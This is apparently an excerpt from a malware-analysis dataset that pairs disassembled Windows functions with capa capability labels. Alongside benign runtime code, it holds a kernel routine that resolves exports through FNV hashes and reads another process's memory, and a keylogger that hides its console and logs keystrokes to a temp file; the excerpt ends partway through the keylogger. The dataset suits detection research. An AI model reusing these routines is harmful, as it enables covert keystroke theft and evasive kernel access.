joyce8/EMBER2024-capa huggingface dataset:
Function at 0x1400684cc
Capabilities:
Parse pe header

Disassembly:
xor r8d, r8d
xor edx, edx
jmp 0x140068614
mov dword [rsp + 0x18], r8d
mov dword [rsp + 0x10], edx
push rbp
mov rbp, rsp
sub rsp, 0x50
mov qword [rbp - 0x20], 0xfffffffffffffffe
mov qword [rsp + 0x60], rbx
mov ebx, ecx
test r8d, r8d
jne 0x140068683
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
test rax, rax
je 0x140068683
mov ecx, 0x5a4d
cmp word [rax], cx
jne 0x140068683
movsxd rcx, dword [rax + 0x3c]
add rcx, rax
cmp dword [rcx], 0x4550
jne 0x140068683
mov eax, 0x20b
cmp word [rcx + 0x18], ax
jne 0x140068683
cmp dword [rcx + 0x84], 0xe
jbe 0x140068683
cmp dword [rcx + 0xf8], 0
je 0x140068683
mov ecx, ebx
call fcn.14006854c
mov byte [rbp + 0x28], 0
lea rax, [rbp + 0x18]
mov qword [rbp - 0x18], rax
lea rax, [rbp + 0x20]
mov qword [rbp - 0x10], rax
lea rax, [rbp + 0x28]
mov qword [rbp - 8], rax
mov eax, 2
mov dword [rbp - 0x2c], eax
mov dword [rbp - 0x28], eax
lea r9, [rbp - 0x2c]
lea r8, [rbp - 0x18]
lea rdx, [rbp - 0x28]
lea rcx, [rbp - 0x30]
call fcn.1400687a8
nop
cmp dword [rbp + 0x20], 0
je 0x1400686d1
mov rbx, qword [rsp + 0x60]
add rsp, 0x50
pop rbp
ret
mov ecx, ebx
call fcn.1400685e0
int3

Function at 0x14006a2e0
Capabilities:
Read file on windows

Disassembly:
mov qword [rsp + 8], rbx
push rbp
push rsi
push rdi
push r12
push r13
push r14
push r15
mov eax, 0x1050
call fcn.14005a5c0
sub rsp, rax
mov rax, qword [0x1400c15c0]
xor rax, rsp
mov qword [rsp + 0x1040], rax
mov r15, r8
mov rbp, rdx
mov rbx, rcx
call fcn.14006999c
xor edi, edi
movsxd r14, eax
cmp dword [rbx + 0x10], edi
jne 0x14006a32f
mov rax, rbp
jmp 0x14006a437
mov rax, qword [rbx]
mov rcx, r14
sub rax, qword [rbx + 8]
and ecx, 0x3f
cqo
mov rbx, r14
sub rax, rdx
sar rbx, 6
sar rax, 1
mov r9, r15
lea r12, [rcx + rcx*8]
mov rsi, rax
lea rax, [0x140000000]
xor r8d, r8d
mov rdx, qword [rax + rbx*8 + 0xc3d00]
mov ecx, r14d
mov rdx, qword [rdx + r12*8 + 0x30]
call fcn.14006b818
mov r13, rax
lea rax, [0x140000000]
mov rcx, qword [rax + rbx*8 + 0xc3d00]
cmp r13, qword [rcx + r12*8 + 0x30]
jne 0x14006a433
mov rcx, qword [rcx + r12*8 + 0x28]
lea r9, [rsp + 0x30]
mov r8d, 0x1000
mov qword [rsp + 0x20], rdi
lea rdx, [rsp + 0x40]
call qword [sym.imp.KERNEL32.dll_ReadFile]
test eax, eax
je 0x14006a433
mov r9, r15
xor r8d, r8d
mov rdx, rbp
mov ecx, r14d
call fcn.14006b818
test rax, rax
js 0x14006a433
mov eax, dword [rsp + 0x30]
cmp rsi, rax
jg 0x14006a433
lea rdx, [rsp + 0x40]
add rdx, rax
lea rcx, [rsp + 0x40]
test rsi, rsi
je 0x14006a425
lea r8, [0x140000000]
cmp rcx, rdx
jae 0x14006a425
cmp byte [rcx], 0xd
jne 0x14006a40b
lea rax, [rdx - 1]
cmp rcx, rax
jae 0x14006a41a
cmp byte [rcx + 1], 0xa
jne 0x14006a41a
inc rcx
jmp 0x14006a41a
movzx eax, byte [rcx]
movsx rax, byte [rax + r8 + 0xc1f20]
add rcx, rax
inc rdi
inc rcx
cmp rdi, rsi
jne 0x14006a3ed
lea rax, [rsp + 0x40]
sub rcx, rax
lea rax, [rcx + r13]
jmp 0x14006a437
or rax, 0xffffffffffffffff
mov rcx, qword [rsp + 0x1040]
xor rcx, rsp
call fcn.14005cf70
mov rbx, qword [rsp + 0x1090]
add rsp, 0x1050
pop r15
pop r14
pop r13
pop r12
pop rdi
pop rsi
pop rbp
ret
Function at 0x1400769bc
Capabilities:
Get file size

Disassembly:
push rbx
sub rsp, 0x20
mov edx, dword [rcx + 0x14]
nop
shr edx, 3
test dl, 1
je 0x1400769d2
mov al, 1
jmp 0x140076a32
mov eax, dword [rcx + 0x14]
nop
test al, 0xc0
je 0x1400769e3
mov rax, qword [rcx + 8]
cmp qword [rcx], rax
je 0x140076a30
mov ecx, dword [rcx + 0x18]
nop
call fcn.14006ae20
mov rbx, rax
cmp rax, 0xffffffffffffffff
je 0x140076a30
mov r9d, 1
lea r8, [rsp + 0x38]
xor edx, edx
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_SetFilePointerEx]
test eax, eax
je 0x140076a30
lea rdx, [rsp + 0x30]
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_GetFileSizeEx]
test eax, eax
je 0x140076a30
mov rax, qword [rsp + 0x30]
cmp qword [rsp + 0x38], rax
sete al
jmp 0x140076a32
xor al, al
add rsp, 0x20
pop rbx
ret
Function at 0x140077464
Capabilities:
Read file on windows

Disassembly:
mov qword [rsp + 0x20], rbx
push rbp
push rsi
push rdi
push r12
push r13
push r14
push r15
sub rsp, 0x30
movsxd r15, ecx
lea r9, [0x1400c3d00]
mov rax, r15
mov rbp, r15
and eax, 0x3f
sar rbp, 6
mov ecx, 4
xor esi, esi
mov r14, rdx
lea rdi, [rax + rax*8]
mov rax, qword [r9 + rbp*8]
lea r13d, [rcx + 6]
mov r10, qword [rax + rdi*8 + 0x28]
test r8, r8
je 0x1400774bb
cmp word [rdx], r13w
jne 0x1400774bb
or byte [rax + rdi*8 + 0x38], cl
jmp 0x1400774c0
and byte [rax + rdi*8 + 0x38], 0xfb
lea r8, [rdx + r8*2]
mov rbx, r14
cmp r14, r8
jae 0x1400775e5
mov r11d, reloc.WS2_32.dll_listen
lea r12d, [r11 - 0xb]
movzx ecx, word [rdx]
cmp cx, 0x1a
je 0x140077606
lea r9, [rdx + 2]
cmp cx, r11w
je 0x1400774f9
mov rdx, r9
mov word [rbx], cx
jmp 0x140077520
cmp r9, r8
jae 0x140077530
cmp word [r9], r13w
mov rax, r12
mov ecx, 4
cmove rax, rcx
add rdx, rax
mov eax, r13d
cmp word [r9], r13w
cmovne ax, r11w
mov word [rbx], ax
mov rax, r12
add rbx, rax
cmp rdx, r8
jb 0x1400774da
jmp 0x1400775e5
lea r9, [rsp + 0x80]
mov qword [rsp + 0x20], rsi
mov r8d, r12d
lea rdx, [rsp + 0x70]
mov rcx, r10
call qword [sym.imp.KERNEL32.dll_ReadFile]
test eax, eax
je 0x1400775da
cmp dword [rsp + 0x80], esi
je 0x1400775da
lea r8, [0x1400c3d00]
mov rax, qword [r8 + rbp*8]
test byte [rax + rdi*8 + 0x38], 0x48
je 0x1400775b2
movzx eax, word [rsp + 0x70]
cmp ax, r13w
jne 0x140077582
mov word [rbx], r13w
jmp 0x1400775e2
mov ecx, reloc.WS2_32.dll_listen
mov word [rsp + 0x78], ax
mov word [rbx], cx
mov rax, qword [r8 + rbp*8]
lea rcx, [rax + rdi*8]
mov al, byte [rsp + rsi + 0x78]
mov byte [rcx + rsi + 0x3a], al
inc rsi
cmp rsi, r12
jl 0x14007758f
mov rax, qword [r8 + rbp*8]
mov byte [rax + rdi*8 + 0x3c], r13b
jmp 0x1400775e2
cmp word [rsp + 0x70], r13w
jne 0x1400775bf
cmp rbx, r14
je 0x14007757c
mov rdx, 0xfffffffffffffffe
mov ecx, r15d
lea r8d, [rdx + 3]
call fcn.14006b774
cmp word [rsp + 0x70], r13w
je 0x1400775e5
mov ecx, reloc.WS2_32.dll_listen
mov word [rbx], cx
add rbx, r12
sub rbx, r14
sar rbx, 1
lea eax, [rbx + rbx]
mov rbx, qword [rsp + 0x88]
add rsp, 0x30
pop r15
pop r14
pop r13
pop r12
pop rdi
pop rsi
pop rbp
ret
lea r8, [0x1400c3d00]
mov rdx, qword [r8 + rbp*8]
mov al, byte [rdx + rdi*8 + 0x38]
test al, 0x40
jne 0x1400775df
or al, r12b
mov byte [rdx + rdi*8 + 0x38], al
jmp 0x1400775e5
Function at 0x140077704
Capabilities:
Query environment variable

Disassembly:
mov rax, rsp
mov qword [rax + 8], rbx
mov qword [rax + 0x10], rbp
mov qword [rax + 0x18], rsi
mov qword [rax + 0x20], rdi
push r14
sub rsp, 0x40
call qword [sym.imp.KERNEL32.dll_GetEnvironmentStringsW]
xor esi, esi
mov rbx, rax
test rax, rax
jne 0x140077734
xor eax, eax
jmp 0x1400777f7
mov rbp, rbx
cmp word [rax], si
je 0x140077759
or rax, 0xffffffffffffffff
inc rax
cmp word [rbp + rax*2], si
jne 0x140077740
lea rbp, [rbp + rax*2]
add rbp, 2
cmp word [rbp], si
jne 0x14007773c
mov qword [rsp + 0x38], rsi
sub rbp, rbx
mov qword [rsp + 0x30], rsi
add rbp, 2
sar rbp, 1
mov r8, rbx
mov r9d, ebp
mov dword [rsp + 0x28], esi
xor edx, edx
mov qword [rsp + 0x20], rsi
xor ecx, ecx
call fcn.140077624
movsxd r14, eax
test eax, eax
jne 0x140077797
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_FreeEnvironmentStringsW]
jmp 0x14007772d
mov rcx, r14
call fcn.1400737d4
mov rdi, rax
test rax, rax
jne 0x1400777b0
xor ecx, ecx
call fcn.140072c78
jmp 0x14007778c
mov qword [rsp + 0x38], rsi
mov r9d, ebp
mov qword [rsp + 0x30], rsi
mov r8, rbx
mov dword [rsp + 0x28], r14d
xor edx, edx
xor ecx, ecx
mov qword [rsp + 0x20], rdi
call fcn.140077624
test eax, eax
jne 0x1400777e1
mov rcx, rdi
call fcn.140072c78
jmp 0x1400777eb
xor ecx, ecx
call fcn.140072c78
mov rsi, rdi
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_FreeEnvironmentStringsW]
mov rax, rsi
mov rbx, qword [rsp + 0x50]
mov rbp, qword [rsp + 0x58]
mov rsi, qword [rsp + 0x60]
mov rdi, qword [rsp + 0x68]
add rsp, 0x40
pop r14
ret

Function at 0x140077814
Capabilities:
Query environment variable

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rbp
mov qword [rsp + 0x18], rsi
push rdi
sub rsp, 0x20
call qword [sym.imp.KERNEL32.dll_GetEnvironmentStringsW]
xor ebp, ebp
mov rbx, rax
test rax, rax
je 0x14007789b
mov rsi, rbx
cmp word [rax], bp
je 0x14007785a
or rax, 0xffffffffffffffff
inc rax
cmp word [rsi + rax*2], bp
jne 0x140077844
lea rsi, [rsi + rax*2]
add rsi, 2
cmp word [rsi], bp
jne 0x140077840
sub rsi, rbx
add rsi, 2
sar rsi, 1
add rsi, rsi
mov rcx, rsi
call fcn.1400737d4
mov rdi, rax
test rax, rax
je 0x140077888
mov r8, rsi
mov rdx, rbx
mov rcx, rax
call fcn.14007dbe0
mov rbp, rdi
xor ecx, ecx
call fcn.140072c78
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_FreeEnvironmentStringsW]
mov rax, rbp
mov rbx, qword [rsp + 0x30]
mov rbp, qword [rsp + 0x38]
mov rsi, qword [rsp + 0x40]
add rsp, 0x20
pop rdi
ret
Function at 0x1400791a8
Capabilities:
Clear file content

Disassembly:
mov rax, rsp
mov qword [rax + 8], rbx
mov qword [rax + 0x10], rbp
mov qword [rax + 0x18], rsi
mov qword [rax + 0x20], rdi
push r12
push r14
push r15
sub rsp, 0x20
mov rbx, rdx
mov rsi, r8
xor edx, edx
mov r14d, ecx
lea r8d, [rdx + 1]
call fcn.14006b774
xor edx, edx
mov ecx, r14d
mov r12, rax
lea r8d, [rdx + 2]
call fcn.14006b774
mov rbp, rbx
sub rbp, rax
cmp r12, 0xffffffffffffffff
je 0x1400792f8
cmp rax, 0xffffffffffffffff
je 0x1400792f8
xor edi, edi
test rbp, rbp
jle 0x1400792a3
lea edx, [rdi + 1]
mov ecx, 0x1000
call fcn.140073664
mov rbx, rax
test rax, rax
jne 0x140079230
lea edi, [rax + 0xc]
mov byte [rsi + 0x30], 1
mov dword [rsi + 0x2c], edi
jmp 0x140079299
mov edx, 0x8000
mov ecx, r14d
call fcn.14006c990
mov r15d, eax
mov eax, 0x1000
mov r8d, ebp
cmp rbp, rax
mov r9, rsi
mov rdx, rbx
mov ecx, r14d
cmovge r8d, eax
call fcn.1400784e0
cmp eax, 0xffffffff
je 0x140079279
cdqe
sub rbp, rax
test rbp, rbp
jg 0x140079240
mov edx, r15d
mov ecx, r14d
call fcn.14006c990
jmp 0x140079299
cmp byte [rsi + 0x38], dil
je 0x140079290
cmp dword [rsi + 0x34], 5
jne 0x140079290
mov byte [rsi + 0x30], 1
mov dword [rsi + 0x2c], reloc.WS2_32.dll_listen
cmp byte [rsi + 0x30], dil
je 0x140079299
mov edi, dword [rsi + 0x2c]
mov rcx, rbx
call fcn.140072c78
jmp 0x14007930c
jns 0x14007930c
xor r8d, r8d
mov rdx, rbx
mov ecx, r14d
call fcn.14006b774
cmp rax, 0xffffffffffffffff
jne 0x1400792c4
cmp byte [rsi + 0x30], dil
je 0x14007930c
mov edi, dword [rsi + 0x2c]
jmp 0x14007930c
mov ecx, r14d
call fcn.14006ae20
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_SetEndOfFile]
test eax, eax
jne 0x14007930c
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov byte [rsi + 0x38], 1
mov edi, reloc.WS2_32.dll_listen
mov dword [rsi + 0x34], eax
mov byte [rsi + 0x30], 1
mov dword [rsi + 0x2c], reloc.WS2_32.dll_listen
jmp 0x14007930c
xor edi, edi
cmp byte [rsi + 0x30], dil
je 0x140079305
mov eax, dword [rsi + 0x2c]
jmp 0x14007930a
mov eax, reloc.WS2_32.dll_shutdown
mov edi, eax
xor r8d, r8d
mov rdx, r12
mov ecx, r14d
call fcn.14006b774
mov rbx, qword [rsp + 0x40]
mov eax, edi
mov rdi, qword [rsp + 0x58]
mov rbp, qword [rsp + 0x48]
mov rsi, qword [rsp + 0x50]
add rsp, 0x20
pop r15
pop r14
pop r12
ret
Function at 0x14007c560
Capabilities:
Set environment variable

Disassembly:
mov rax, rsp
mov qword [rax + 8], rbx
mov qword [rax + 0x10], rsi
mov qword [rax + 0x20], rdi
push rbp
push r14
push r15
lea rbp, [rax - 0x5f]
sub rsp, 0xa0
xor r15d, r15d
mov r14, rdx
mov rsi, rcx
mov qword [rbp + 0x17], r15
xor edx, edx
mov qword [rbp + 0x1f], r15
lea rcx, [rbp - 0x39]
mov qword [rbp + 0x27], r15
mov qword [rbp + 0x2f], r15
mov edi, r15d
mov qword [rbp + 0x37], r15
mov byte [rbp + 0x3f], r15b
mov qword [rbp - 0x19], r15
mov qword [rbp - 0x11], r15
mov qword [rbp - 9], r15
mov qword [rbp - 1], r15
mov qword [rbp + 7], r15
mov byte [rbp + 0xf], r15b
call fcn.140062cb0
mov rax, qword [rbp - 0x31]
mov ebx, 0xfde9
cmp dword [rax + 0xc], ebx
jne 0x14007c5ea
cmp byte [rbp - 0x21], r15b
je 0x14007c5e5
mov rax, qword [rbp - 0x39]
and dword [rax + 0x3a8], 0xfffffffd
mov r9d, ebx
jmp 0x14007c620
call fcn.140071114
test eax, eax
jne 0x14007c60c
cmp byte [rbp - 0x21], r15b
je 0x14007c604
mov rax, qword [rbp - 0x39]
and dword [rax + 0x3a8], 0xfffffffd
mov r9d, 1
jmp 0x14007c620
cmp byte [rbp - 0x21], r15b
je 0x14007c61d
mov rax, qword [rbp - 0x39]
and dword [rax + 0x3a8], 0xfffffffd
mov r9d, r15d
lea r8, [rbp + 0x77]
mov rcx, rsi
lea rdx, [rbp + 0x17]
call fcn.14006c4f4
test eax, eax
jne 0x14007c6c0
xor edx, edx
lea rcx, [rbp - 0x39]
call fcn.140062cb0
mov rax, qword [rbp - 0x31]
cmp dword [rax + 0xc], ebx
jne 0x14007c65f
cmp byte [rbp - 0x21], r15b
je 0x14007c694
mov rax, qword [rbp - 0x39]
and dword [rax + 0x3a8], 0xfffffffd
jmp 0x14007c694
call fcn.140071114
test eax, eax
jne 0x14007c680
cmp byte [rbp - 0x21], r15b
je 0x14007c679
mov rax, qword [rbp - 0x39]
and dword [rax + 0x3a8], 0xfffffffd
mov ebx, 1
jmp 0x14007c694
cmp byte [rbp - 0x21], r15b
je 0x14007c691
mov rax, qword [rbp - 0x39]
and dword [rax + 0x3a8], 0xfffffffd
mov ebx, r15d
mov r9d, ebx
lea r8, [rbp + 0x77]
lea rdx, [rbp - 0x19]
mov rcx, r14
call fcn.14006c4f4
mov rdi, qword [rbp - 9]
test eax, eax
jne 0x14007c6c0
mov rcx, qword [rbp + 0x27]
mov rdx, rdi
call qword [sym.imp.KERNEL32.dll_SetEnvironmentVariableW]
mov ebx, eax
jmp 0x14007c6c3
mov ebx, r15d
cmp byte [rbp + 0xf], r15b
je 0x14007c6d1
mov rcx, rdi
call fcn.140072c78
cmp byte [rbp + 0x3f], r15b
je 0x14007c6e0
mov rcx, qword [rbp + 0x27]
call fcn.140072c78
lea r11, [rsp + 0xa0]
mov eax, ebx
mov rbx, qword [r11 + 0x20]
mov rsi, qword [r11 + 0x28]
mov rdi, qword [r11 + 0x38]
mov rsp, r11
pop r15
pop r14
pop rbp
ret
Function at 0x140001100
Capabilities:
Find process by pid

Disassembly:
mov qword [rsp + 0x10], rbx
push rdi
sub rsp, 0x20
cmp dword [rcx], 0x9af2b37
mov rdi, rcx
jne 0x140001162
movsxd rax, dword [rcx + 4]
xor ebx, ebx
test eax, eax
je 0x140001162
mov rcx, rax
mov qword [rsp + 0x30], rbx
lea rdx, [rsp + 0x30]
call qword [sym.imp.ntoskrnl.exe_PsLookupProcessByProcessId]
test eax, eax
js 0x140001162
mov rcx, qword [rsp + 0x30]
call sub.ntoskrnl.exe_PsGetProcessSectionBaseAddress
test rax, rax
jne 0x14000114c
mov ebx, 0xc0000001
jmp 0x140001153
mov rcx, qword [rdi + 8]
mov qword [rcx], rax
mov rcx, qword [rsp + 0x30]
call qword [sym.imp.ntoskrnl.exe_ObfDereferenceObject]
mov eax, ebx
jmp 0x140001167
mov eax, 0xc0000001
mov rbx, qword [rsp + 0x38]
add rsp, 0x20
pop rdi
ret

Function at 0x140001580
Capabilities:
Find process by pid

Disassembly:
mov r11, rsp
mov qword [r11 + 0x18], rbx
mov qword [r11 + 0x20], rsi
push rdi
sub rsp, 0x20
cmp dword [rcx], 0x9af2b37
mov rbx, rcx
jne 0x140001622
movsxd rax, dword [rcx + 4]
test eax, eax
je 0x140001622
and qword [r11 + 8], 0
lea rdx, [r11 + 8]
mov rcx, rax
call qword [sym.imp.ntoskrnl.exe_PsLookupProcessByProcessId]
mov rcx, qword [rsp + 0x30]
test rcx, rcx
je 0x140001622
mov rdi, qword [0x140004050]
test rdi, rdi
je 0x140001622
call qword [sym.imp.ntoskrnl.exe_ObfDereferenceObject]
mov rdx, qword [rbx + 8]
mov rcx, rdi
mov rsi, qword [rbx + 0x18]
call fcn.140002318
test rax, rax
je 0x140001622
and qword [rsp + 0x38], 0
mov ecx, eax
and ecx, 0xfff
mov edx, 0x1000
sub edx, ecx
cmp byte [rbx + 0x20], 0
jne 0x14000161e
cmp edx, esi
lea r9, [rsp + 0x38]
mov rcx, rax
cmovl esi, edx
mov rdx, qword [rbx + 0x10]
movsxd r8, esi
call fcn.140001f9c
xor eax, eax
jmp 0x140001627
mov eax, 0xc0000001
mov rbx, qword [rsp + 0x40]
mov rsi, qword [rsp + 0x48]
add rsp, 0x20
pop rdi
ret
Function at 0x140001df8
Capabilities:
Encode data using xor
Hash data using fnv
Parse pe header
Resolve function by parsing pe exports

Disassembly:
mov r11, rsp
mov qword [r11 + 0x10], rbx
mov qword [r11 + 0x18], rbp
mov qword [r11 + 0x20], rsi
push rdi
sub rsp, 0x40
mov rax, qword [section..data]
xor rax, rsp
mov qword [rsp + 0x30], rax
mov rax, qword [0x1400040a0]
test rax, rax
jne 0x140001f60
mov r8, qword [0x140004088]
movabs rsi, 0xcbf29ce484222325
movabs rbp, 0x100000001b3
test r8, r8
jne 0x140001ee7
sidt [r11 - 0x28]
mov rax, qword [r11 - 0x26]
test rax, rax
jne 0x140001e5e
int3
mov r8d, dword [rax + 8]
movzx eax, word [rax + 6]
shl r8, 0x10
or r8, rax
and r8, 0xffffffffffffffe0
shl r8, 0x10
mov eax, 0x5a4d
cmp word [r8], ax
jne 0x140001ed7
movsxd rax, dword [r8 + 0x3c]
cmp dword [rax + r8], 0x4550
jne 0x140001ed7
mov edx, 0x8664
cmp word [rax + r8 + 4], dx
jne 0x140001ed7
mov eax, dword [rax + r8 + 0x88]
mov r9, rsi
mov edx, dword [rax + r8 + 0xc]
add rdx, r8
mov al, byte [rdx]
test al, al
je 0x140001ed7
inc rdx
movsx rax, al
xor r9, rax
imul r9, rbp
mov al, byte [rdx]
test al, al
jne 0x140001eb4
movabs rax, 0x9be7f70164f3dbf0
cmp r9, rax
je 0x140001ee0
sub r8, 0x200000
jmp 0x140001e75
mov qword [0x140004088], r8
movsxd rax, dword [r8 + 0x3c]
mov edx, dword [rax + r8 + 0x88]
add rdx, r8
mov r11d, dword [rdx + 0x1c]
mov r9d, dword [rdx + 0x20]
add r11, r8
mov ebx, dword [rdx + 0x24]
add r9, r8
mov edi, dword [rdx + 0x18]
add rbx, r8
xor r8d, r8d
test edi, edi
je 0x140001f56
mov edx, dword [r9]
mov r10, rsi
add rdx, qword [0x140004088]
mov al, byte [rdx]
test al, al
je 0x140001f4a
inc rdx
movsx rax, al
xor r10, rax
imul r10, rbp
mov al, byte [rdx]
test al, al
jne 0x140001f27
movabs rax, 0x7f2823d9ac4595a2
cmp r10, rax
je 0x140001f88
inc r8d
add r9, 4
cmp r8d, edi
jb 0x140001f14
int3
mov qword [0x1400040a0], rax
call qword [0x140003078]
mov rcx, qword [rsp + 0x30]
xor rcx, rsp
call fcn.1400024b0
mov rbx, qword [rsp + 0x58]
mov rbp, qword [rsp + 0x60]
mov rsi, qword [rsp + 0x68]
add rsp, 0x40
pop rdi
ret
movzx edx, word [rbx + r8*2]
mov eax, dword [r11 + rdx*4]
add rax, qword [0x140004088]
jmp 0x140001f59
Function at 0x140001f9c
Capabilities:
Encode data using xor
Hash data using fnv
Parse pe header
Resolve function by parsing pe exports

Disassembly:
push rbx
push rbp
push rsi
push rdi
push r12
push r13
push r14
push r15
sub rsp, 0x58
mov rax, qword [section..data]
xor rax, rsp
mov qword [rsp + 0x48], rax
mov rax, qword [0x140004098]
xor ebx, ebx
mov qword [rsp + 0x30], rbx
mov r14, r9
mov rbp, r8
mov r15, rdx
test rax, rax
jne 0x140002113
mov r8, qword [0x140004088]
movabs r12, 0xcbf29ce484222325
movabs r13, 0x100000001b3
test r8, r8
jne 0x140002099
sidt [rsp + 0x38]
mov rax, qword [rsp + 0x3a]
test rax, rax
jne 0x140002010
int3
mov r8d, dword [rax + 8]
movzx eax, word [rax + 6]
shl r8, 0x10
or r8, rax
and r8, 0xffffffffffffffe0
shl r8, 0x10
mov eax, 0x5a4d
cmp word [r8], ax
jne 0x140002089
movsxd rax, dword [r8 + 0x3c]
cmp dword [rax + r8], 0x4550
jne 0x140002089
mov edx, 0x8664
cmp word [rax + r8 + 4], dx
jne 0x140002089
mov eax, dword [rax + r8 + 0x88]
mov r9, r12
mov edx, dword [rax + r8 + 0xc]
add rdx, r8
mov al, byte [rdx]
test al, al
je 0x140002089
inc rdx
movsx rax, al
xor r9, rax
imul r9, r13
mov al, byte [rdx]
test al, al
jne 0x140002066
movabs rax, 0x9be7f70164f3dbf0
cmp r9, rax
je 0x140002092
sub r8, 0x200000
jmp 0x140002027
mov qword [0x140004088], r8
movsxd rax, dword [r8 + 0x3c]
mov edx, dword [rax + r8 + 0x88]
add rdx, r8
mov r11d, dword [rdx + 0x1c]
mov r9d, dword [rdx + 0x20]
add r11, r8
mov edi, dword [rdx + 0x24]
add r9, r8
mov esi, dword [rdx + 0x18]
add rdi, r8
mov r8d, ebx
test esi, esi
je 0x140002108
mov edx, dword [r9]
mov r10, r12
add rdx, qword [0x140004088]
mov al, byte [rdx]
test al, al
je 0x1400020fc
inc rdx
movsx rax, al
xor r10, rax
imul r10, r13
mov al, byte [rdx]
test al, al
jne 0x1400020d9
movabs rax, 0x306328ee8e049a39
cmp r10, rax
je 0x14000216d
inc r8d
add r9, 4
cmp r8d, esi
jb 0x1400020c6
int3
mov qword [0x140004098], rax
lea rdx, [rsp + 0x30]
mov r9d, 1
mov qword [rsp + 0x20], rdx
mov r8, rbp
mov rdx, rcx
mov rcx, r15
call qword [0x140003078]
mov rcx, qword [rsp + 0x30]
test r14, r14
je 0x14000213f
mov qword [r14], rcx
test eax, eax
je 0x140002148
cmp rcx, rbp
je 0x14000214d
mov ebx, 0xc0000001
mov eax, ebx
mov rcx, qword [rsp + 0x48]
xor rcx, rsp
call fcn.1400024b0
add rsp, 0x58
pop r15
pop r14
pop r13
pop r12
pop rdi
pop rsi
pop rbp
pop rbx
ret
mov eax, r8d
movzx edx, word [rdi + rax*2]
mov eax, dword [r11 + rdx*4]
add rax, qword [0x140004088]
jmp 0x14000210c
Function at 0x140001010
Capabilities:
Parse pe header

Disassembly:
sub rsp, 0x28
mov rax, qword [0x140009830]
xor ecx, ecx
mov dword [rax], 1
mov rax, qword [0x140009840]
mov dword [rax], 1
mov rax, qword [0x140009850]
mov dword [rax], 1
mov rax, qword [0x1400097b0]
cmp word [rax], 0x5a4d
jne 0x14000105a
movsxd rdx, dword [rax + 0x3c]
add rax, rdx
cmp dword [rax], 0x4550
je 0x1400010c0
mov rax, qword [0x140009820]
mov dword [0x14000d00c], ecx
mov eax, dword [rax]
test eax, eax
je 0x1400010b0
mov ecx, 2
call sym.__set_app_type
call dbg.__p__fmode
mov rdx, qword [0x140009900]
mov edx, dword [rdx]
mov dword [rax], edx
call dbg.__p__commode
mov rdx, qword [0x1400098e0]
mov edx, dword [rdx]
mov dword [rax], edx
call dbg._setargv
mov rax, qword [0x140009790]
cmp dword [rax], 1
je 0x1400010f8
xor eax, eax
add rsp, 0x28
ret
mov ecx, 1
call sym.__set_app_type
jmp 0x140001077
movzx edx, word [rax + 0x18]
cmp dx, 0x10b
je 0x140001110
cmp dx, 0x20b
jne 0x14000105a
cmp dword [rax + 0x84], 0xe
jbe 0x14000105a
mov edx, dword [rax + 0xf8]
xor ecx, ecx
test edx, edx
setne cl
jmp 0x14000105a
mov rcx, qword [dbg._matherr]
call dbg.__mingw_setusermatherr
xor eax, eax
add rsp, 0x28
ret
cmp dword [rax + 0x74], 0xe
jbe 0x14000105a
mov r8d, dword [rax + 0xe8]
xor ecx, ecx
test r8d, r8d
setne cl
jmp 0x14000105a
Function at 0x14000149a
Capabilities:
Get common file path
Hide graphical window
Log keystrokes via polling

Disassembly:
push rbp
sub rsp, 0x250
lea rbp, [rsp + 0x80]
mov rax, qword [sym.imp.KERNEL32.dll_AllocConsole]
call rax
mov edx, 0
lea rax, str.ConsoleWindowClass
mov rcx, rax
mov rax, qword [sym.imp.USER32.dll_FindWindowA]
call rax
mov qword [rbp + 0x1c0], rax
mov rax, qword [rbp + 0x1c0]
mov edx, 0
mov rcx, rax
mov rax, qword [sym.imp.USER32.dll_ShowWindow]
call rax
lea rax, [rbp + 0xb0]
mov rdx, rax
mov ecx, 0x104
mov rax, qword [sym.imp.KERNEL32.dll_GetTempPathA]
call rax
lea rdx, [rbp + 0xb0]
lea rax, [rbp - 0x60]
mov r9, rdx
lea r8, str._sDATA.tmp
mov edx, 0x104
mov rcx, rax
call sym.snprintf
lea rax, [rbp - 0x60]
lea rdx, [0x14000901e]
mov rcx, rax
call sym.fopen
mov qword [rbp + 0x1b8], rax
cmp qword [rbp + 0x1b8], 0
jne 0x140001552
mov eax, 1
jmp 0x140001758
mov dword [rbp + 0x1c8], 0
mov byte [rbp + 0x1cf], 8
movsx eax, byte [rbp + 0x1cf]
mov ecx, eax
mov rax, qword [sym.imp.USER32.dll_GetAsyncKeyState]
call rax
cmp ax, 0x8001
jne 0x140001585
mov dword [rbp + 0x1c8], 1
cmp dword [rbp + 0x1c8], 1
jne 0x1400015cc
cmp qword [rbp + 0x1b8], 0
je 0x1400015cc
cmp byte [rbp + 0x1cf], 0x1f
jle 0x1400015c2
movsx eax, byte [rbp + 0x1cf]
mov rdx, qword [rbp + 0x1b8]
mov ecx, eax
call sym.fputc
mov dword [rbp + 0x1c8], 0
jmp 0x1400015cc
mov dword [rbp + 0x1c8], 2
cmp dword [rbp + 0x1c8], 2
jne 0x140001743
movsx eax, byte [rbp + 0x1cf]
sub eax, 8
cmp eax, 0x18
ja case.0x14000160c.10
mov eax, eax
lea rdx, [rax*4]
lea rax, [0x140009054]
mov eax, dword [rdx + rax]
cdqe
lea rdx, [0x140009054]
add rax, rdx
jmp rax
mov rax, qword [rbp + 0x1b8]
mov r9, rax
mov r8d, 7
mov edx, 1
lea rax, str._ENTER_
mov rcx, rax
call sym.fwrite
jmp case.0x14000160c.10
mov rax, qword [rbp + 0x1b8]
mov r9, rax
mov r8d, 8
mov edx, 1
lea rax, str._BSPACE_
mov rcx, rax
call sym.fwrite
jmp case.0x14000160c.10
mov rax, qword [rbp + 0x1b8]
mov r9, rax
mov r8d, 5
mov edx, 1
lea rax, str._TAB_
mov rcx, rax
call sym.fwrite
jmp case.0x14000160c.10
mov rax, qword [rbp + 0x1b8]
mov r9, rax
mov r8d, 7
mov edx, 1
lea rax, str._SHIFT_
mov rcx, rax
call sym.fwrite
jmp case.0x14000160c.10
mov rax, qword [rbp + 0x1b8]
mov r9, rax
mov r8d, 6
mov edx, 1
lea rax, str._CTRL_
